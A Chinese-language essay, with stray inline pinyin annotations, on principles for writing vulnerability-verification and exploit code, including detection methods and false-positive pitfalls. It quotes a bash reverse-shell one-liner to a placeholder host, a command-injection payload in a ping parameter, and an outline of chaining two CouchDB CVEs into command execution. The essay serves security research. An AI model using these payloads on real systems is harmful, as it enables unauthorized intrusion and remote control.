漏洞驗(yàn)證準(zhǔn)則
已有人總結(jié)過 《漏洞檢測(cè)的那些事兒》:
文章里很好的提出編寫漏洞驗(yàn)證代碼時(shí)需要注意的 三個(gè)準(zhǔn)則 ,簡(jiǎn)單總結(jié)和補(bǔ)充如下:
1. 隨機(jī)性
保證關(guān)鍵變量、數(shù)據(jù)和無明顯含義要求的值應(yīng)該具有隨機(jī)性。
如: 上傳文件的文件名,webshell 密碼,print 的值,探測(cè) 404 頁面使用的路徑等。
2. 確定性
通過返回的內(nèi)容找到唯一確定的標(biāo)識(shí)來說明該漏洞是否存在。
驗(yàn)證漏洞盡可能達(dá)到與漏洞利用時(shí)同樣的水準(zhǔn),勿使用單一模糊的條件去判斷,如HTTP狀態(tài)碼、固定頁面內(nèi)容等來判定漏洞是否存在。
比如驗(yàn)證文件上傳漏洞,最好上傳真實(shí)的文件進(jìn)行判斷;驗(yàn)證通過不常見的API接口未授權(quán)添加管理員,僅是通過判斷不常見的API接口是否存在來判定漏洞是否存在是不夠的,最好是要實(shí)際去添加一個(gè)管理員用戶,最后按照添加成功與否來判定這個(gè)漏洞是否存在。
3. 通用性
兼顧各個(gè)環(huán)境或平臺(tái),兼顧存在漏洞應(yīng)用的多個(gè)常見版本。
勿只考慮漏洞復(fù)現(xiàn)的單一環(huán)境,要考慮到存在漏洞的應(yīng)用的不同版本、安裝應(yīng)用的不同操作系統(tǒng)、API接口、參數(shù)名、路徑前綴、執(zhí)行命令等的不同情況。
4. 無損性
有效驗(yàn)證漏洞的前提下盡可能避免對(duì)目標(biāo)造成損害。
驗(yàn)證漏洞時(shí),在有效驗(yàn)證漏洞的前提下,盡量不改寫、添加、刪除數(shù)據(jù),不上傳、刪除文件。可以的話,驗(yàn)證漏洞完畢后應(yīng)恢復(fù)數(shù)據(jù)和驗(yàn)證漏洞前的數(shù)據(jù)一致。
漏洞驗(yàn)證方法
如果根據(jù)實(shí)際可操作性,對(duì)主流的漏洞驗(yàn)證方法定義,梳理和總結(jié)如下:
一. 直接判斷
即可直接通過目標(biāo)的不同響應(yīng)和狀態(tài)來判斷目標(biāo)是否存在漏洞,主要包括下面四種方法:
1. 結(jié)果回顯判斷
最直接的漏洞存在的判定方法,受我們的輸入控制影響,目標(biāo)響應(yīng)中完整輸出了我們期望的結(jié)果。
2. 報(bào)錯(cuò)回顯判斷
使目標(biāo)處理我們輸入的數(shù)據(jù)時(shí)內(nèi)部錯(cuò)誤,并在錯(cuò)誤的輸出中攜帶了受我們期望的結(jié)果。
3. 寫數(shù)據(jù)讀取判斷
將結(jié)果或標(biāo)志寫入目標(biāo)文件或數(shù)據(jù)庫等類似數(shù)據(jù)存儲(chǔ)系統(tǒng),并嘗試讀取存儲(chǔ)的內(nèi)容來判斷目標(biāo)是否存在漏的方法。
4. 延時(shí)判斷
通過控制在目標(biāo)機(jī)器上執(zhí)行的代碼,讓目標(biāo)機(jī)器等待N秒后再響應(yīng)我們的請(qǐng)求。
在延時(shí)SQL注入、執(zhí)行命令 sleep、執(zhí)行代碼 sleep等漏洞判定應(yīng)用場(chǎng)景里常有不可替代的重要作用。
二. 間接判斷
通過控制目標(biāo)向第三方發(fā)送信息,通過第三方是否接收到信息來判定目標(biāo)是否存在漏洞,主要包括下面幾種方法:
1.DNSLOG 方式判斷
當(dāng)目標(biāo)可解析域名并且允許請(qǐng)求外網(wǎng) DNS 服務(wù)器時(shí)使用,因?yàn)橛胁糠謾C(jī)器默認(rèn)允許請(qǐng)求外網(wǎng) DNS 服務(wù)器而且防火墻也不會(huì)輕易攔截,所以此方法已被廣泛使用。JAVA 反序列化中的 URLDNS payload 就是屬于此判斷方法。
2.WEBLOG 方式判斷
在目標(biāo)可以對(duì)外發(fā)送 TCP 請(qǐng)求時(shí),使用 Web 服務(wù)器接收目標(biāo)發(fā)送而來的請(qǐng)求,以此來判斷我們可以控制目標(biāo)發(fā)送請(qǐng)求到特定第三方 Web 服務(wù)器,目標(biāo)存在漏洞。
雖然靈活運(yùn)用各種漏洞驗(yàn)證方法可以有效的驗(yàn)證漏洞是否存在,但是對(duì)于僅使用單一方法來驗(yàn)證漏洞是否存在時(shí),我傾向于下面的方法優(yōu)先級(jí):
結(jié)果回顯判斷 > 報(bào)錯(cuò)回顯判斷 > 寫文件讀取判斷 > 延時(shí)判斷 > DNSLOG 方式判斷 > WEBLOG 方式判斷
漏洞利用準(zhǔn)則
之所以把漏洞利用和漏洞驗(yàn)證分開來敘述,是因?yàn)樵谖铱磥砺┒蠢貌攀前踩芯咳藛T需要額外注意的部分,也是最能體現(xiàn)安全研究水平和代碼編寫水準(zhǔn)的方面。
不少安全研究人員可能僅出于研究目的,或因?yàn)榕卵芯砍晒粣阂饫茫偌由暇帉?漏洞驗(yàn)證 代碼通常比真實(shí)的 漏洞利用 代碼更為簡(jiǎn)單,所以通常僅是給出一個(gè)十分簡(jiǎn)單的漏洞驗(yàn)證步驟或 demo 代碼。漏洞之所以被重視,根本原因是某些漏洞被利用后能對(duì)目標(biāo)造成很大的損害,這不是一個(gè) CVE 編號(hào)或者高中低危評(píng)價(jià)就能夠衡量的,而是由真實(shí)的漏洞利用代碼來評(píng)判的。
結(jié)合自己的漏洞利用代碼編寫經(jīng)驗(yàn),遵守的準(zhǔn)則主要有以下幾個(gè)部分:
1.結(jié)果回顯優(yōu)先
優(yōu)先將漏洞成功利用獲得的信息顯示出來。
比如對(duì)于一個(gè)命令執(zhí)行漏洞,漏洞利用代碼應(yīng)該朝著直接獲得執(zhí)行的命令的輸出結(jié)果去努力,而不是一開始就去嘗試做反彈 shell、寫文件讀取達(dá)到回顯效果這種事。
具體說,我曾經(jīng)編寫過一份結(jié)合 CVE-2017-12635和CVE-2017-12636 兩個(gè)漏洞的代碼。CouchDB先垂直越權(quán)添加管理員用戶,然后利用添加的管理員用戶通過Authorization頭認(rèn)證,創(chuàng)建新數(shù)據(jù)庫,將執(zhí)行命令的結(jié)果存儲(chǔ)到該數(shù)據(jù)庫,最后從該數(shù)據(jù)庫中讀取執(zhí)行命令的結(jié)果,再刪除該數(shù)據(jù)庫,從而達(dá)到執(zhí)行命令結(jié)果回顯的目的。
直接顯示漏洞執(zhí)行成功獲得的結(jié)果擁有較高的錯(cuò)誤兼容性,不會(huì)因?yàn)槟繕?biāo)不能直接連接互聯(lián)網(wǎng)、不解析域名、無權(quán)限寫文件、文件路徑可能不唯一等等原因?qū)е碌囊恍┡袛嗦┒创嬖趨s利用不成功的情況。
2.穩(wěn)定利用優(yōu)先
要綜合考慮到應(yīng)用版本、操作系統(tǒng)環(huán)境、網(wǎng)絡(luò)等原因,寫出兼容各種應(yīng)用版本并可以穩(wěn)定復(fù)現(xiàn)的漏洞利用代碼。
穩(wěn)定利用里有兩個(gè)問題需要額外注意:
一是編寫的代碼是否考慮到了存在漏洞的應(yīng)用的不同版本之間的差異。比如 API 接口變化、路徑變化等,可能會(huì)導(dǎo)致相當(dāng)一部分的漏洞利用不成功;
二是執(zhí)行代碼優(yōu)于執(zhí)行命令。比如現(xiàn)在常見的一個(gè)示例的就是利用代碼執(zhí)行漏洞進(jìn)行反彈 shell 的利用,演示用的多是利用執(zhí)行類似 /bin/bash -i >& /dev/tcp/{ip}/{port} 0>&1 的命令來反彈 shell。
這里面有個(gè)降級(jí)利用的概念,即代碼執(zhí)行 卻常被當(dāng)做 命令執(zhí)行 來使用,但是 代碼執(zhí)行 一般比命令執(zhí)行可操作性更大,更穩(wěn)定。
當(dāng)只利用漏洞進(jìn)行執(zhí)行命令時(shí),這當(dāng)然沒有什么問題,但是當(dāng)用執(zhí)行命令來反彈 shell 時(shí),就會(huì)出現(xiàn)比較大的問題。比如,只適合 linux 類系統(tǒng),而且有些 Docker、busybox 之類的精簡(jiǎn)環(huán)境可能沒有 /bin/bash,或者不支持命令行下的反彈 shell,這些都會(huì)讓漏洞利用不成功。
這種情況下的正確做法應(yīng)該是優(yōu)先執(zhí)行一段代碼,而不是降級(jí)之后的執(zhí)行命令來完成復(fù)雜的操作。
3.最簡(jiǎn)利用優(yōu)先
在能達(dá)到相同利用效果的情況下,選擇最簡(jiǎn)單的實(shí)現(xiàn)路徑。
比如最近的寫的一個(gè) flink-unauth-rce:
https://github.com/LandGrey/flink-unauth-rce
漏洞利用,最優(yōu)雅的方式是根據(jù) flink api 來實(shí)現(xiàn)執(zhí)行命令回顯這個(gè)功能,但是勢(shì)必要花點(diǎn)時(shí)間去學(xué)習(xí)和構(gòu)造代碼,不如直接利用程序報(bào)錯(cuò)回顯,在報(bào)錯(cuò)結(jié)果中提取出執(zhí)行命令的結(jié)果,省時(shí)省力效果良好。
需避免的錯(cuò)誤
1. 檢測(cè)條件不充足
比如,通過 GET 請(qǐng)求路徑
/hard-to-guest-path/there/is/vulnerable
然后判斷漏洞存在的核心邏輯是狀態(tài)碼 200,并且響應(yīng)中存在 admin 關(guān)鍵詞。
雖然請(qǐng)求路徑比較特殊,但是考慮到有些網(wǎng)站總是返回 200 狀態(tài)碼,并且admin作為關(guān)鍵詞過于普通,所以容易產(chǎn)生誤報(bào)。
2. 檢測(cè)關(guān)鍵詞放置在發(fā)包內(nèi)容中
比如檢測(cè)一個(gè)可以回顯的 GET 型命令執(zhí)行漏洞,構(gòu)造了如下的 payload;
/api/ping?host=127.1|echo+79c363c6044c4c58
然后判斷漏洞存在的核心邏輯是關(guān)鍵詞 79c363c6044c4c58 出現(xiàn)在返回狀態(tài)碼是200的目標(biāo) response中。
這類將判斷漏洞存在的關(guān)鍵詞放置在 GET 請(qǐng)求的 URL 中,有些網(wǎng)站在請(qǐng)求不存在的路徑時(shí),也會(huì)返回 200 狀態(tài)碼,而且會(huì)將請(qǐng)求的 URL 全部返回到 response 中,這樣就產(chǎn)生了誤報(bào)。
當(dāng)然,不止GET請(qǐng)求,POST等請(qǐng)求類型的漏洞驗(yàn)證也會(huì)存在此類問題。比如POST發(fā)包:
POST: /api/ping
DATA: host=127.1|echo+79c363c6044c4c58
有些網(wǎng)站在接收到不能處理的請(qǐng)求時(shí),會(huì)將 POST 的所有數(shù)據(jù)包括 HTTP Header 等回顯到頁面,這時(shí)候判斷關(guān)鍵詞就會(huì)產(chǎn)生誤報(bào)。
總結(jié)
規(guī)則是死的,人是活的。為了編寫出符合要求的代碼,在指定的要求、特殊情況下可以犧牲一些方面的準(zhǔn)則特性來強(qiáng)化其他方面的準(zhǔn)則特性。
比如,某些情況下付出 30% 的精力就可以編寫出覆蓋 90% 應(yīng)用環(huán)境的代碼,如果鉆牛角尖,要付出 100% 的精力,編寫出適合 99% 應(yīng)用環(huán)境的代碼,是無法享受漏洞研究到漏洞利用這整個(gè)過程的。
作為一名有追求的安全研究人員,不應(yīng)該淺嘗輒止于普通漏洞驗(yàn)證代碼的編寫,良好的漏洞利用代碼的編寫才能顯示出漏洞的真正危害,體會(huì)到漏洞利用代碼編寫的精髓。